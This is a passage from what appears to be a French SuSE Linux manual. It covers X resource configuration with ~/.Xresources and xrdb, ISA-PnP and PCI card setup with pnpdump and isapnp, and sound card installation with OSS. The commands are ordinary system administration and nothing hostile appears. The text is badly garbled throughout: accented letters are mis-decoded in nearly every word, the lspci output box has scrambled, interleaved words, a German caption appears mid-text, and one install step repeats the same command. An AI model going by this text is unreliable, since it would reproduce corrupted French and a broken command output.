  18579.                            dΘfilement (angl. scrollbar), par exemple, est un widget (un widget rΘduit α
  18580.                            sa plus simple expression). Une fenΩtre, par contre, peut Ωtre composΘe d'une
  18581.                            barre  de  dΘfilement,  d'une  zone  de  texte  et  d'autres  choses  encore  (widget
  18582.                            complexe).
  18583.  
  18584.                            Comme les widgets sont rangΘs, les uns par rapport aux autres, comme dans
  18585.                            un arbre gΘnΘalogique, on parle d'un arbre de widgets. Chaque fenΩtre dans
  18586.                            une  application  a  un  nom  qui  la  distingue  des  autres  dans  l'arbre  des  wid-
  18587.                            gets. Il s'ensuit que l'on peut accΘder α chaque fenΩtre d'un programme sous
  18588.                            un  nom  bien  prΘcis.  Dans  la  ligne  donnΘe  prΘcΘdemment  en  exemple,  cela
  18589.                            signifie :
  18590.  
  18591.  
  18592. 286
  18593.        _____________________________________________________9.6.__Configuration_gΘnΘrale_du_systΦme_X_Window_______________________*
  18594.  *______________________
  18595.  
  18596.  
  18597.  
  18598.   ~   Le premier mot avant le point (Xarchie       ) est le nom du widget principal
  18599.       de l'application xarchie (il est de rΦgle de faire commencer par une majus-
  18600.       cule les noms des paramΦtres par dΘfaut des applications qui concernent
  18601.       les widgets de ce type).
  18602.  
  18603.   ~   AprΦs  le  point,  nous  voyons  `color'.  Il  s'agit  bien  s√r  de  la  couleur,
  18604.       mais laquelle ?
  18605.  
  18606.   ~   Nous voyons ensuite une astΘrisque qui aurait aussi bien pu Ωtre un point :
  18607.  
  18608.       ~   Un point signifie qu'entre ces deux fenΩtres il n'en existe aucune autre
  18609.           dans la hiΘrarchie.
  18610.  
  18611.       ~   Une astΘrisque signifie qu'entre les deux fenΩtres il peut y en avoir une
  18612.           ou plusieurs autres.
  18613.  
  18614.   ~   Le mot ``background'' nous indique enfin quelle couleur va Ωtre modifiΘe.
  18615.       On peut ici spΘcifier une couleur dΘfinie. Une liste de toutes les couleurs
  18616.       pouvant Ωtre utilisΘes dans un systΦme X Window se trouve dans le fichier
  18617.       /usr/X11R6/lib/X11/rgb.txt.
  18618.  
  18619.  
  18620. ParamΦtres spΘcifiques α l'utilisateur
  18621.  
  18622. Chaque utilisateur a bien s√r la possibilitΘ d'effectuer des configurations per-
  18623. sonnalisΘes. Il existe pour cela, dans le rΘpertoire HOME de l'utilisateur, un fi-
  18624. chier ~/.Xresources. Le point `.' placΘ devant le nom signifie qu'il s'agit
  18625. d'un fichier ``cachΘ''. Pour en savoir plus sur les fichiers ``cachΘ'', lisez le pa-
  18626. ragraphe 19.7.4 page 490
  18627.  
  18628. Ce fichier est destinΘ α contenir les paramΦtres spΘcifiques α l'utilisateur. Vous
  18629. pouvez,  par  exemple,  dΘcider  que  toutes  les  fenΩtres  doivent  avoir  un  fond
  18630. jaune sauf la fenΩtre principale qui doit Ωtre rouge.
  18631.  
  18632. Pour revenir α l'exemple ci-dessus, cela signifie que vous pouvez, dans votre
  18633. propre fichier ~/.Xresources, remplacer les configurations par dΘfaut ins-
  18634. crites  dans  les  fichiers  app-defaults  spΘcifiques  au  systΦme.  InsΘrez  par
  18635. exemple dans votre fichier ~/.Xresources la ligne suivante :
  18636.  
  18637.       Xarchie.color*background:  gold
  18638.  
  18639. Ceci aura pour consΘquence que l'application xarchie  sera lancΘe pour vous
  18640. (mais seulement pour vous) avec un fond dorΘ.
  18641.  
  18642. Vous pouvez modifier non seulement les couleurs mais presque toutes les pro-
  18643. priΘtΘs de vos fenΩtres. Un programme qui s'avΦre trΦs utile dans ce contexte
  18644. est l'Θditeur de ressources editres (angl. edit resources). Il vous permet d'ob-
  18645. tenir l'affichage des ressources d'une application et de les modifier de faτon
  18646. sΘlective.
  18647.  
  18648. Voici maintenant quelques exemples de paramΦtres que vous pouvez utiliser :
  18649.  
  18650.       Xarchie.color*background:                        powder  blue
  18651.       Xarchie.color*SimpleMenu*background:     wheat
  18652.       Xarchie.color*Command*background:           wheat
  18653.       Xarchie.color*MenuButton*background:     wheat
  18654.       Xarchie.color*Text*background:                wheat
  18655.       Xarchie*font:                                             9x15
  18656.  
  18657. Il est en principe possible de dΘterminer de cette maniΦre presque toutes les
  18658. propriΘtΘs d'un programme X. Mais dans la pratique, on se limite la plupart
  18659.  
  18660.  
  18661.                                                                                                                                    *
  18662.  *   287
  18663. 9.  Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
  18664.  *_______________________________________@
  18665.  
  18666.  
  18667.  
  18668.                            du temps α paramΘtrer les couleurs, les polices de caractΦres et la gΘomΘtrie
  18669.                            (taille et position).
  18670.  
  18671.                            Les  options  dont  vous  disposez  ici  sont  presque  toujours  indiquΘes  dans  la
  18672.                            page de man du programme concernΘ ou dans le fichier app-defaults qui
  18673.                            s'y rapporte.
  18674.  
  18675.                            Dans le fichier /usr/X11R6/lib/X11/rgb.txt, vous trouverez le nom des
  18676.                            couleurs  que  vous  pouvez  employer.  En  lanτant  le  programme  xfontsel  ou
  18677.                            xlsfonts , vous verrez les polices de caractΦres dont vous pouvez disposer.
  18678.  
  18679.  
  18680.                            ParamΦtres de dΘmarrage des applications
  18681.  
  18682.                            Pour modifier l'aspect d'une configuration, il existe une troisiΦme possibilitΘ
  18683.                            qui consiste α spΘcifier des paramΦtres lors de son lancement. Vous pouvez
  18684.                            bien  s√r  aussi  spΘcifier  ces  paramΦtres  dans  le  fichier  de  configuration  du
  18685.                            gestionnaire de fenΩtres lorsque vous y dΘmarrez des programmes.
  18686.  
  18687.                            Vous pouvez par exemple lancer explicitement un programme avec une autre
  18688.                            couleur de texte et de fond (bg   = ``background'', fg   = ``foreground'') dans la
  18689.                            mesure o∙ ceci est supportΘ par le programme.
  18690.  
  18691.                                  xterm  -bg  darkblue  -fg  white
  18692.  
  18693.                            RΘsultat : un Xterm bleu avec des caractΦres blancs.
  18694.  
  18695.  
  18696.                            Comment agissent ces configurations ?
  18697.  
  18698.                            Par principe, les configurations au niveau du systΦme sont faites au dΘmarrage
  18699.                            du systΦme X Window. Les paramΦtres sont gΘrΘs par le serveur X dans une
  18700.                            base  de  donnΘes  (angl.  X  Resource  DataBase,  xrdb).  Pour  que  la  nouvelle
  18701.                            configuration soit prise en compte au niveau systΦme, il est indispensable de
  18702.                            faire  effectuer  une  nouvelle  lecture  de  la  base  de  donnΘes  ressources  aprΦs
  18703.                            l'avoir modifiΘe manuellement. Cela peut se faire par la commande
  18704.  
  18705.                                  tux@terre:  >  xrdb  ~/.Xresources
  18706.  
  18707.                            Lors de la crΘation d'une base de donnΘes ressources interne au moment du
  18708.                            dΘmarrage du serveur X, les diffΘrents paramΦtres pour les applications sont
  18709.                            traitΘs dans l'ordre suivant :
  18710.  
  18711.                              ~   Il est d'abord lu, dans /usr/X11R6/lib/X11/app-defaults, les para-
  18712.                                  mΦtres par dΘfaut dΘfinis au niveau systΦme pour le programme concernΘ.
  18713.  
  18714.                              ~   Si vous avez vos propres configurations dans le fichier ~/.Xresources
  18715.                                  de votre rΘpertoire personnel, celles-ci Θcraseront les configurations rΘali-
  18716.                                  sΘes au niveau systΦme.
  18717.  
  18718.                              ~   Si vous lancez une application (par exemple dans le fichier de configura-
  18719.                                  tion du gestionnaire de fenΩtres ou par ligne de commande) avec des pa-
  18720.                                  ramΦtres explicitement spΘcifiΘs, ceux-ci auront prioritΘ absolue et Θcra-
  18721.                                  seront les autres paramΦtres.
  18722.  
  18723.                            Le programme xrdb  peut aussi vous montrer l'affichage des configurations
  18724.                            que vous venez de faire :
  18725.  
  18726.                                  tux@terre:  >  xrdb  -q
  18727.  
  18728.                            pourrait produire l'affichage suivant :
  18729.  
  18730.  
  18731. 288
  18732.        _____________________________________________________9.6.__Configuration_gΘnΘrale_du_systΦme_X_Window_______________________*
  18733.  *______________________
  18734.  
  18735.  
  18736.  
  18737.       emacs*geometry:       100x45-5-5
  18738.       netscape.geometry:  610x760+140+30
  18739.       xdvi*geometry:         720x895+250+5
  18740.  
  18741. Pour terminer ce chapitre, encore un conseil pratique :
  18742.        _______________________________________________________________________________________________________________________||
  18743.        ||||||||  S'il  devait  arriver  qu'un  programme,  malgrΘ  modification  explicite  des                 |||            |
  18744.        ||||||||                                                                                                 ||             |
  18745.        ||||||||  paramΦtres dans ~/.Xresources et nouvelle lecture du contenu de la base                        ||             |
  18746.        ||||||||  de donnΘes ressources, ne tienne pas compte de la nouvelle configuration                       ||             |
  18747.        ||||||||                                                                                                 ||             |
  18748.        ||||||||  (par  exemple  nouvelle  police  de  caractΦres),  il  est  souvent  possible  de              ||             |
  18749.        ||||||||  remΘdier  α  ce  problΦme  en  changeant  la  casse  des  lettres  dans  les  noms             ||             |
  18750.        ||||||||                                                                                                 ||             |
  18751.        ||||||||  des widgets.                                                                                   ||             |
  18752.        ||||||||_______________________________________________________________________________________________________________||_
  18753.  
  18754.  
  18755.                                                                                                                                    *
  18756.  *   289
  18757. 9.  Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
  18758.  *_______________________________________@
  18759.  
  18760. 290
  18761.  
  18762.  
  18763.            CinquiΦme  partie
  18764.  
  18765.  
  18766. MatΘriel   sous   Linux
  18767.  
  18768.  
  18769.                                                                                                                      291
  18770.  
  18771.  
  18772.                                                                                                       Chapitre  10
  18773.                            L'environnement   matΘriel   de
  18774.  
  18775.  
  18776.  
  18777.                                                                   l'ordinateur   Linux
  18778.  
  18779.  
  18780.  
  18781. 10.1        Remarque prΘliminaire
  18782.  
  18783. Il est maintenant possible d'intΘgrer plus ou moins facilement la plupart des
  18784. composants matΘriels dans un systΦme Linux. Ce chapitre dΘcrit comment s'y
  18785. prendre et vous fait connaεtre les logiciels disponibles. Pour les problΦmes liΘs
  18786. α l'impression voir chapitre 12 page 333 et pour ceux concernant la tΘlΘcopie
  18787. le paragraphe 6.10 page 210. Pour l'utilisation de pΘriphΘriques ISDN/RNIS
  18788. consultez le   paragraphe 6.2 page 173.   Le matΘriel PCMCIA et la mise en
  18789. oeuvre d'IrDA sont dΘcrits au chapitre 11 page 317.
  18790.  
  18791.  
  18792.  
  18793. 10.2        Cartes enfichables
  18794.  
  18795. Dans un PC standard, on utilise principalement des cartes bus enfichables ISA
  18796. (``Industry Standard Architecture'') et PCI (``Peripheral Component Intercon-
  18797. nect'').
  18798.  
  18799. L'AGP (``Accelerated Graphics Port'') constitue en quelque sorte une excep-
  18800. tion  car  les  pΘriphΘriques  connectΘs  α  ce  port  sont  Θgalement  visibles  sur
  18801. le  bus  PCI.  Ils  sont  logiquement  traitΘs  de  la  mΩme  maniΦre  que  les  cartes
  18802. bus PCI ~ Les cartes bus PCMCIA se rencontrent surtout dans les ordinateurs
  18803. portables tels que laptops et notebooks.  Ces cartes et leur configuration sont
  18804. dΘcrites au chapitre 11 page 317.
  18805.  
  18806.  
  18807. 10.2.1       Cartes ISA et PCI
  18808.  
  18809. Nous allons maintenant porter notre attention sur les cartes bus ISA et PCI.
  18810. Ensuite la configuration de ces cartes sera dΘcrite en prenant pour exemple
  18811. les cartes son.
  18812.  
  18813.  
  18814. Cartes ISA
  18815.  
  18816. La carte ISA constitue la forme la plus ancienne de cartes enfichables com-
  18817. patibles PC. Le bus a une largeur de 8 ou 16 bits et il est cadencΘ α 8MHz au
  18818. maximum. De nombreuses cartes mΦres permettent de cadencer le bus α une
  18819. vitesse plus ΘlevΘe ~ mais ceci cause souvent des problΦmes. Les cartes ISA
  18820. peuvent Ωtre classΘes en trois catΘgories.
  18821.  
  18822.  
  18823.                                                                                                                                    *
  18824.  *   293
  18825. 10.  L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
  18826.  *_______________________________________@
  18827.  
  18828.  
  18829.  
  18830.                            Legacy-Cards :            Ces cartes doivent Ωtre configurΘes complΦtement α la main.
  18831.                                  Les  ressources,  telles  qu'adresses  d'E/S,  interruptions  et  canaux  DMA
  18832.                                  doivent Ωtre dΘfinies par l'utilisateur α l'aide de cavaliers et de microcom-
  18833.                                  mutateurs sur la carte. L'utilisateur doit Θgalement veiller lui-mΩme α ce
  18834.                                  que les ressources telles que par exemple IRQ ou canal DMA ne soient
  18835.                                  pas utilisΘes simultanΘment par plusieurs cartes. La configuration de telles
  18836.                                  cartes s'avΦre donc souvent assez compliquΘe.
  18837.  
  18838.                            Jumperless-Cards :              L'avantage  que  prΘsentent  ces  cartes,  par  rapport  α  la
  18839.                                  premiΦre gΘnΘration de cartes ISA, rΘside dans le fait qu'il n'est plus nΘ-
  18840.                                  cessaire d'utiliser des cavaliers pour l'attribution des ressources. Un pro-
  18841.                                  gramme de configuration spΘcial assume cette tΓche. Mais le plus souvent
  18842.                                  ce programme n'est disponible que pour DOS et ne peut pas Ωtre utilisΘ
  18843.                                  sous Linux.
  18844.  
  18845.                            PnP-Cards :          Les  cartes  Plug  and  Play  constituent  l'Θvolution  logique  des
  18846.                                  cartes sans cavaliers. Ces cartes contiennent des donnΘes sur leur confi-
  18847.                                  guration  ainsi  qu'une  liste  des  configurations  possibles.  Un  programme
  18848.                                  spΘcial ou un pilote peut repΘrer les cartes PnP prΘsentes dans le systΦme
  18849.                                  et les configurer toutes de telle maniΦre qu'elles n'aient aucune influence
  18850.                                  les unes sur les autres.
  18851.  
  18852.                                  Tant qu'une carte n'a pas ΘtΘ configurΘe, elle n'existe pas de facto pour le
  18853.                                  systΦme. Sous Linux, on utilise le paquetage isapnp de la sΘrie ap pour la
  18854.                                  configuration des cartes PnP. Ce paquetage fournit les deux programmes
  18855.                                  pnpdump et isapnp .
  18856.  
  18857.  
  18858.                            Comment activer les cartes PnP avec l'outil isapnp ?
  18859.  
  18860.                            ProcΘdez de la maniΦre suivante :
  18861.  
  18862.  
  18863.                              ~   Connectez-vous au systΦme en tant qu'utilisateur `root'.
  18864.  
  18865.                              ~   Si le rΘpertoire /etc contient dΘjα un fichier isapnp.conf, commencez
  18866.                                  tout d'abord par le sauvegarder :
  18867.                                  terre:/  #  mv  /etc/isapnp.conf  /etc/isapnp.conf.bak
  18868.  
  18869.                              ~   CrΘez, avec la commande
  18870.                                  terre:/  #  pnpdump  -c  >  /etc/isapnp.conf
  18871.  
  18872.                                  le  fichier  /etc/isapnp.conf.  Le  paramΦtre  -c   a  pour  effet  que  pnp-
  18873.                                  dump  prΘpare le fichier de sortie de telle maniΦre que les pΘriphΘriques
  18874.                                  PnP puissent immΘdiatement Ωtre activΘs.
  18875.  
  18876.                              ~   Avec la commande
  18877.                                  terre:/  #  isapnp  /etc/isapnp.conf
  18878.  
  18879.                                  vous activez la carte PnP dans votre machine. ~ Sous SuSE     Linux, elle est
  18880.                                  activΘe automatiquement α chaque dΘmarrage du systΦme.
  18881.  
  18882.  
  18883.                            Sources possibles d'erreurs
  18884.  
  18885.                            Sympt⌠me :           pnpdump       affiche  un  message  tel  que  :  "No  boards  found".
  18886.                                  Il peut aussi arriver qu'une ou plusieurs des cartes ISA PnP installΘes ne
  18887.                                  soient pas reconnues.
  18888.  
  18889.                            Explications possibles :
  18890.  
  18891.  
  18892. 294
  18893.        ______________________________________________________________________________________________10.2.__Cartes_enfichables_____*
  18894.  *______________________
  18895.  
  18896.  
  18897.  
  18898.       ~   Vous n'avez pas installΘ de carte ISA PnP dans votre systΦme : VΘrifiez
  18899.           quelles cartes sont installΘes et lisez la documentation les concernant.
  18900.           Demandez  le  cas  ΘchΘant  au  revendeur  chez  lequel  vous  vous  Ωtes
  18901.           procurΘ votre ordinateur quelles sont les cartes installΘes.
  18902.  
  18903.       ~   Les  cartes  sont  dΘfectueuses  :  VΘrifiez  la  bonne  position  des  cartes
  18904.           dans les emplacements destinΘs α l'intΘgration. Testez leur bon fonc-
  18905.           tionnement sous un autre systΦme d'exploitation.
  18906.  
  18907.       ~   Il  existe  des  cartes  qui  peuvent  Ωtre  utilisΘes  soit  comme  cartes
  18908.           ISA  Pnp,  soit  comme  cartes  auxquelles  on  peut  assigner  des  res-
  18909.           sources dΘterminΘes  (exemple : certaines cartes Ethernet ISA NE2000
  18910.           10 Mbits). Le plus souvent, il est possible avec un programme DOS
  18911.           de basculer entre les deux modes.  De telles cartes n'apparaissent pas
  18912.           toujours dans l'affichage de pnpdump       , cela dΘpend de leur configura-
  18913.           tion.
  18914.  
  18915.       ~   Quelques  rares  cartes  ISA-PnP  ne  sont  apparemment  pas  utilisables
  18916.           dans un systΦme conjointement α d'autres cartes ISA-PnP. Dans un tel
  18917.           cas, une seule carte est visible dans la sortie de pnpdump . Si cela se
  18918.           produit, il est Θventuellement possible de configurer l'une des cartes
  18919.           (par  exemple  α  l'aide  de  cavaliers  directement  sur  la  carte)  de  telle
  18920.           maniΦre qu'elle ne fonctionne plus en tant que carte ISA-PnP mais en
  18921.           utilisant des ressources fixes.
  18922.  
  18923.       ~   Il semble qu'il existe quelques cartes (trΦs rares) qui se rΘinitialisent
  18924.           aprΦs invocation de pnpdump . S'il s'agit par exemple d'une carte SCSI
  18925.           et si la partition racine est reliΘe α ce pΘriphΘrique, votre systΦme risque
  18926.           de se planter. Si vous vous voyez confrontΘ α ce problΦme, vous devez
  18927.           configurer  la  carte  (si  elle  est  supportΘe)  de  telle  maniΦre  qu'elle  ne
  18928.           fonctionne  plus  en  tant  que  carte  ISA-PnP.   Il  est  aussi  possible  de
  18929.           renoncer complΦtement α initialiser la carte sous Linux et d'amorcer le
  18930.           systΦme au moyen de loadlin . Dans ce cas, la carte est dΘjα initialisΘe.
  18931.  
  18932. Sympt⌠me :           Vous recevez, lors de l'exΘcution de la commande isapnp       ou
  18933.       au moment de l'amorτage, un message de ce genre :
  18934.       *  LD  setting  failed,  this  may  not  be  a  problem.
  18935.       *  Try  adding  (VERIFYLD  N)  to  the  top  of  your  script
  18936.       *
  18937.       *  Error  occured  requested  `LD2`  on  or  around  line  319
  18938.       *  ---  further  action  aborted
  18939.  
  18940. Solution :       Suivez  le  conseil  donnΘ  par  le  message  d'erreur  et  ajoutez  au
  18941.       dΘbut de /etc/isapnp.conf la ligne
  18942.  
  18943.       (VERIFYLD  N)
  18944.  
  18945.  
  18946.       Ceci donne par exemple
  18947.       #  [...]
  18948.       #  (DEBUG)
  18949.       (VERIFYLD  N)
  18950.       (READPORT  0x0203)
  18951.       (ISOLATE)
  18952.       (IDENTIFY  *)
  18953.       #  [...]
  18954.  
  18955.  
  18956.                                                                                                                                    *
  18957.  *   295
  18958. 10.  L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
  18959.  *_______________________________________@
  18960.  
  18961.  
  18962.  
  18963.                            Sympt⌠me :           Vous recevez, lors de l'exΘcution de la commande isapnp ou au
  18964.                                  moment de l'amorτage, un message de ce genre :
  18965.                                  [...]
  18966.                                  /etc/isapnp.conf:66  --
  18967.                                     Fatal  -  resource  conflict  allocating  16  bytes
  18968.                                     of  IO  at  220  (see  /etc/isapnp.conf)
  18969.                                  /etc/isapnp.conf:66  --  Fatal  -  IO  range  check
  18970.                                     attempted  while  device  activated
  18971.                                  /etc/isapnp.conf:66  --  Fatal  -  Error  occurred
  18972.                                     executing  request  '<IORESCHECK>  '  ---  further
  18973.                                     action  aborted
  18974.  
  18975.                            Solution :       Vous avez probablement un conflit entre les valeurs choisies dans
  18976.                                  le fichier /etc/isapnp.conf et les ressources dΘjα utilisΘes dans votre
  18977.                                  systΦme. Faites concorder le fichier /etc/isapnp.conf avec les infor-
  18978.                                  mations qui se trouvent sous /proc au sujet des ressources assignΘes. Ce
  18979.                                  ne sera sans doute pas nΘcessaire si vous faites procΘder α l'assignation
  18980.                                  par pnpdump avec l'option -c  .
  18981.                            ________________________________________________________________________________________________________*
  18982.  *________||
  18983.  
  18984.                            |  Vous pouvez dans certains cas rencontrer des difficultΘs si la configuration                         *
  18985.  *        ||||
  18986.                            |  automatique des ressources ISA-PnP est activΘe par le BIOS dans le Setup                             *
  18987.  *        |||
  18988.                            |                                                                                                       *
  18989.  *        |||
  18990.                            |  de votre machine. DΘsactivez cette fonction le cas ΘchΘant. La configura-                            *
  18991.  *        |||
  18992.                            |  tion Θtant effectuΘe au moyen de pnpdump /isapnp , cette option Setup n'est                          *
  18993.  *        |||
  18994.                            |                                                                                                       *
  18995.  *        |||
  18996.                            |  pas indispensable.                                                                                   *
  18997.  *        |||
  18998.                            |_______________________________________________________________________________________________________*
  18999.  *________|||_
  19000.  
  19001.                            Si  vous  avez  des  problΦmes  dΘpassant  ce  cadre,  nous  vous  conseillons  de
  19002.                            consulter la documentation relative au paquetage isapnp. Vous la trouverez
  19003.                            sur votre systΦme dans le rΘpertoire /usr/doc/packages/isapnp. └ la fin
  19004.                            de ce paragraphe, nous nous pencherons sur la configuration d'une carte PnP
  19005.                            en prenant l'exemple d'une carte son.
  19006.  
  19007.  
  19008.                            Cartes PCI
  19009.  
  19010.                            Les cartes bus PCI n'ont normalement pas besoin d'Ωtre configurΘes par l'uti-
  19011.                            lisateur.  Lorsque  le  standard  pour  les  bus  PCI  a  ΘtΘ  adoptΘ,  on  a  tentΘ  de
  19012.                            remΘdier α toutes les dΘficiences prΘsentΘes par les anciens systΦmes bus et il
  19013.                            a ΘtΘ prΘvu une autoconfiguration des cartes. Chaque carte PCI est activΘe par
  19014.                            le BIOS de la machine lors de l'amorτage. L'utilisateur peut souvent influer
  19015.                            sur l'assignation des interruptions par des rΘglages effectuΘs dans le BIOS de
  19016.                            la machine. Lors du dΘmarrage, Linux lit la configuration des pΘriphΘriques
  19017.                            PCI directement α partir du BIOS PCI et utilise ensuite ces donnΘes pour toute
  19018.                            information sur le sous-systΦme PCI.
  19019.  
  19020.                            Vous pouvez, avec la commande
  19021.                            terre:/  #  lspci  -tv
  19022.  
  19023.                            faire Θtablir une liste des pΘriphΘriques sur bus PCI reconnus par Linux :
  19024.  
  19025.                            Au prochain paragraphe, nous configurerons aussi une carte son PCI.
  19026.  
  19027.  
  19028.                            10.3        Cartes son
  19029.  
  19030.                            On trouve actuellement sur le marchΘ deux types de cartes son. Il s'agit des
  19031.                            cartes ISA et PCI, ces derniΦres remplaτant de plus en plus souvent les cartes
  19032.  
  19033.  
  19034. 296
  19035.        __________________________________________________________________________________________________________10.3.__Cartes_son_*
  19036.  *______________________
  19037.  
  19038.        _______________________________________________________________________________________________________________________||
  19039.        |||||||| -[00]-+-00.0   Intel  Corporation  440BX/ZX  -  82443BX/ZX  Host  bridge                                       |
  19040.        |||||||||         +-01.0-[01]----00.0+-0Nvidia4.Corporation0 RivaInTNTtel  Corporation  82371AB  PIIX4  ISA             ||
  19041.        ||||||||          +-04.1   Intel  Corporation  82371AB  PIIX4  IDE                                                      |
  19042.        ||||||||          +-04.2   Intel  Corporation  82371AB  PIIX4  USB                                                      |
  19043.        ||||||||                                                                                                                |
  19044.        ||||||||          +-04.3   Intel  Corporation  82371AB  PIIX4  ACPI                                                     |
  19045.        ||||||||          +-06.0   Adaptec  7890                                                                                |
  19046.        ||||||||          09.0   Digital  Equipment  Corporation  DECchip  21140  [FasterNet]                                   |
  19047.        ||||||||_______________________________________________________________________________________________________________ |
  19048.  
  19049.              affichage α l'Θcran 10.2.1: Ausgabe des Befehls lspci  -tv
  19050.  
  19051.  
  19052.  
  19053. ISA. Il faut donc escompter que dans quelques temps il ne sera plus produit
  19054. de cartes son ISA.
  19055.  
  19056. Il  existe  actuellement  sous  SuSE     Linux  deux  solutions  pour  le  support  des
  19057. cartes  son.  Vous  pouvez,  soit  installer  le  paquetage  opso  ou  le  paquetage
  19058. opsod_up  (dΘmo)  ou  pour  les  machines  multiprocesseurs,  le  paquetage
  19059. opso_smp ou le paquetage opsodsmp (dΘmo) de la sΘrie pay, soit utiliser les
  19060. modules du noyau pour le support son.
  19061.  
  19062.  
  19063. 10.3.1       OSS et versions de dΘmonstration d'OSS
  19064.  
  19065. Ces paquetages constituent des outils idΘaux pour la configuration de cartes
  19066. son  ISA  et  ISA-PnP.  Le  paquetage  opso  et  le  paquetage  opso_smp  inclus
  19067. dans  notre  distribution  ont  dΘjα  ΘtΘ  enregistrΘs  pour  les  clients  de  SuSE     et
  19068. sont ainsi opΘrationnels sans aucune restriction. Le paquetage opsod_up et
  19069. le paquetage opsod_smp par contre ne sont pas encore opΘrationnel et leur
  19070. fonctionnement est limitΘ α 20 minutes.
  19071.  
  19072. Pour pouvoir utiliser le pilote son OSS, procΘdez de la maniΦre suivante :
  19073.  
  19074.   ~   Installez, avec YaST , l'un des paquetages de la sΘrie pay mentionnΘs ci-
  19075.       dessus.
  19076.  
  19077.   ~   Passez, comme utilisateur `root' au rΘpertoire d'installation correspon-
  19078.       dant sous /tmp et lancez le programme oss-install           :
  19079.       terre:/  #  cd  /tmp/opso-3.8.1z
  19080.       terre:/tmp/opso-3.8.1z  #  ./oss-install
  19081.   ~   Le programme vous guide dans l'installation du pilote.
  19082.  
  19083.   ~   Lorsque le programme a terminΘ son exΘcution, vous pouvez avec la com-
  19084.       mande
  19085.       terre:/tmp/opso-3.8.1z  #  ./oss-install
  19086.       charger le pilote OSS et l'utiliser.
  19087.  
  19088. Si vous voulez utiliser les modules du noyau pour le support son, vous devriez
  19089. lire le paragraphe suivant.
  19090.  
  19091.  
  19092. 10.3.2       Comment configurer les cartes son sous Linux ?
  19093.  
  19094. Pour  utiliser  une  carte  son  sous  Linux,  il  est  indispensable  d'exΘcuter  les
  19095. phases suivantes :
  19096.  
  19097.   ~   Identification du matΘriel :
  19098.  
  19099.       ~   Quelle carte faut-il configurer (constructeur, circuit sur la carte) ?
  19100.  
  19101.  
  19102.                                                                                                                                    *
  19103.  *   297
  19104. 10.  L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
  19105.  *_______________________________________@
  19106.  
  19107.  
  19108.  
  19109.                                  ~   Quel type de matΘriel est utilisΘ (ISA, ISA-PnP, PCI) ?
  19110.                              ~   Configuration du matΘriel :
  19111.  
  19112.                                  ~   Mise  en  place  des  cavaliers  ou   configuration  au  moyen  des  outils
  19113.                                      isapnp.
  19114.  
  19115.                              ~   Installation/Chargement du pilote :
  19116.  
  19117.                                  ~   Chargement des modules du noyau  ou dΘmarrage du pilote son OSS .
  19118.  
  19119.                            Voyons maintenant en dΘtail chacune de ces Θtapes.
  19120.  
  19121.                              ~   Identification du matΘriel :
  19122.  
  19123.                                  ~   Cartes son Legacy sur bus ISA
  19124.                                      Ces cartes sont encore rΘpandues et on les rencontre surtout dans des
  19125.                                      configurations  de  machines  dΘjα  anciennes.  La  configuration  se  fait
  19126.                                      par la mise en place de diffΘrents cavaliers sur les cartes mΩmes. Les
  19127.                                      ressources (adresses d'E/S, IRQ et DMA) sont ainsi allouΘes sans am-
  19128.                                      bigu∩tΘ).
  19129.  
  19130.                                  ~   Cartes son PnP sur bus ISA
  19131.                                      Les cartes de ce type sont similaires aux cartes Legacy mais les res-
  19132.                                      sources (adresses d'E/S, IRQ et DMA) sont configurΘes α travers une
  19133.                                      interface logicielle. Il n'est donc plus nΘcessaire de placer des cavaliers
  19134.                                      sur les cartes.
  19135.  
  19136.                                  ~   Cartes son sur bus PCI
  19137.                                      Ce sont les cartes son PCI qui sont les plus simples α configurer. Toutes
  19138.                                      les cartes bus PCI enfichables sont configurΘes automatiquement par la
  19139.                                      machine. Les interfaces logiques permettent aux pilotes d'obtenir des
  19140.                                      informations sur les ressources de la carte.
  19141.  
  19142.                              ~   Configuration du matΘriel :
  19143.  
  19144.                                  ~   Cartes son Legacy sur bus ISA :
  19145.  
  19146.                                      Vous devez configurer les diffΘrentes ressources en tenant compte des
  19147.                                      capacitΘs de votre carte son. Dans l'exemple qui va suivre, nous allons
  19148.                                      configurer une carte Creative Soundblaster 16 :
  19149.  
  19150.                                      Adresses d'E/S
  19151.                                      Voici les adresses d'E/S importantes pour cette carte :
  19152.  
  19153.                                      ~   Audio I/O
  19154.  
  19155.                                      ~   Game Port
  19156.  
  19157.                                      ~   MPU-401
  19158.  
  19159.                                      ~   FM-Synthese
  19160.  
  19161.                                      Seules les adresses pour Audio I/O (0x220, 0x240, 0x260 ou 0x280)
  19162.                                      et MPU-401 (0x300 ou 0x330) peuvent Ωtre modifiΘes. Les adresses
  19163.                                      pour Game-Port (0x200) et FM-Synthese (0x388) sont prΘdΘfinies et
  19164.                                      ne sont pas modifiables.
  19165.  
  19166.                                      Interruptions (IRQ)
  19167.                                      La carte requiert sa propre interruption. Celle-ci peut Ωtre fixΘe α 2, 5,
  19168.                                      7 ou 10.
  19169.  
  19170.  
  19171. 298
  19172.  __________________________________________________________________________________________________________10.3.__Cartes_son_______*
  19173.  *________________
  19174.  
  19175.  
  19176.  
  19177.     Canaux DMA
  19178.     Il est possible d'assigner les canaux 0, 1, 3, 5, ou 7. Il a ΘtΘ prΘvu ici
  19179.     par dΘfaut DMA 1 pour un transfert de donnΘes de 8 bits et DMA 5
  19180.     pour un transfert de 16 bits
  19181.  
  19182.     Modifiez les cavaliers sur la carte son de telle maniΦre que la carte ne
  19183.     provoque pas de conflits de ressources avec d'autres cartes prΘsentes
  19184.     dans la machine. Notez ces paramΦtres.
  19185.  
  19186. ~   Cartes son PnP sur bus ISA :
  19187.  
  19188.     Les  ressources  de  ces  cartes  doivent  Ωtre  activΘes  par  des  logiciels
  19189.     spΘciaux.  L'utilisation d'OSS facilite ΘnormΘment la configuration des
  19190.     cartes PnP car ce programme recherche automatiquement la carte et la
  19191.     configure tout de suite.
  19192.  
  19193.     Les cartes PnP peuvent  aussi Ωtre utilisΘes avec les pilotes du noyau.
  19194.     Il est toutefois nΘcessaire que la carte soit activΘe avant le chargement
  19195.     des modules du noyau. Sous Linux, le paquetage isapnp trouve ici son
  19196.     emploi. Le programme pnpdump       crΘe un fichier de configuration dans
  19197.     lequel  toutes  les  ressources  disponibles  dans  le  systΦme  sont  listΘes.
